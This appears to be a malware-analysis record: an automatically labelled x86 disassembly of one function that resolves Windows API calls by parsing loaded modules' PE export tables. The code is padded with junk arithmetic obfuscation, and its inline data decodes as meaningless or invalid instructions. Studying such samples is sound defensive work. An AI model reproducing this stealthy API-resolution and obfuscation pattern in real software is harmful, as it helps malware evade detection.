Function at 0x40a7c5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push eax
add esp, 4
add esi, 0x11cec
add esi, 0xb802
call 0x40a5ee
add byte [edx], dh
dec eax
dec ecx
inc edi
xor edi, dword [ebx]
cmp eax, 0x8350383c
les eax, [ecx + eax*4]
mov byte [ebp + 0x5e0000b9], 0x51
jmp 0x40a5fe
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
dec dword [ebx - 0x4e773]
dec dword [ebx - 0x6a76cfaf]
mov al, 0xf3
invalid
push dword [ebx]
shl byte [esi - 0x77], 0x85
clc
std
invalid
push dword [ebx]
leave
mov word [ebp - 0x3c], cx
push edx
push ebx
add esp, 4
sub edx, 0x7478
xor edx, 0xec2c
and edx, 0x15429
pop edx
push edx
or edx, 0xbfdd
xor edx, 0x358
or edx, 0x8ebb
and edx, 0xa220
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
call 0x40a6c3
add byte [edx], dh
cmp byte [ebp + 0x42], cl
dec edx
dec ebx
push eax
inc edi
dec ebp
dec eax
add esp, 4
call 0x40a6d2
add byte [esi + 0x32], al
inc ebx
cmp dword [ecx], edi
dec edi
add esp, 4
or ecx, 0x440e
pop ecx
push esi
or esi, 0xf964
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40a701
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x40a75b
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
les edi, [ebx]
retf 0x840f
invalid
invalid
invalid
invalid
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x40a629
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40a745
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x40a74f
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40a7a4
push ebx
push ecx
add esp, 4
sub ebx, 0x4645
pop ebx
push edi
push edi
add esp, 4
or edi, 0x2af9
and edi, 0xdb92
sub edi, 0x886f
pop edi
push esi
xor esi, 0x120c3
and esi, 0x12744
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x40a80c
push edx
call 0x40a7b4
add byte [0x3c3a4a4a], dh
dec esp
dec ecx
dec esp
add esp, 4
xor edx, 0xa48c
and edx, 0x3a08
pop edx
push esi
call 0x40a7d2
add byte [ecx + 0x34], cl
inc ecx
aaa
dec edi
xor cl, byte [ebp - 0x7d]
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x40a802
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x40a5cd
mov dword [ebp - 0x710], 0
push eax
xor eax, 0x8cfc
xor eax, 0x9ac4
xor eax, 0x10c23
pop eax
push eax
push edi
add esp, 4
or eax, 0x15897
add eax, 0xddc4
and eax, 0x2a1
or eax, 0x11168
pop eax
cmp dword [ebp - 0x710], 0
jne 0x40a888
push edi
push eax
add esp, 4
xor edi, 0x10cb1
add edi, 0x3147
add edi, 0x9514
pop edi
push esi
sub esi, 0x62da
and esi, 0x36f5
sub esi, 0x10dd7
add esi, 0x2f07
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x40b3b0
push eax
push ebx
add esp, 4
jmp 0x40a895
add eax, 0x6461
or eax, 0x2763
and eax, 0x3cb5
pop eax
push eax
push edi
add esp, 4
or eax, 0x29db
sub eax, 0x14792
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x40a8f9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40abea
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40a921
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40abea
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx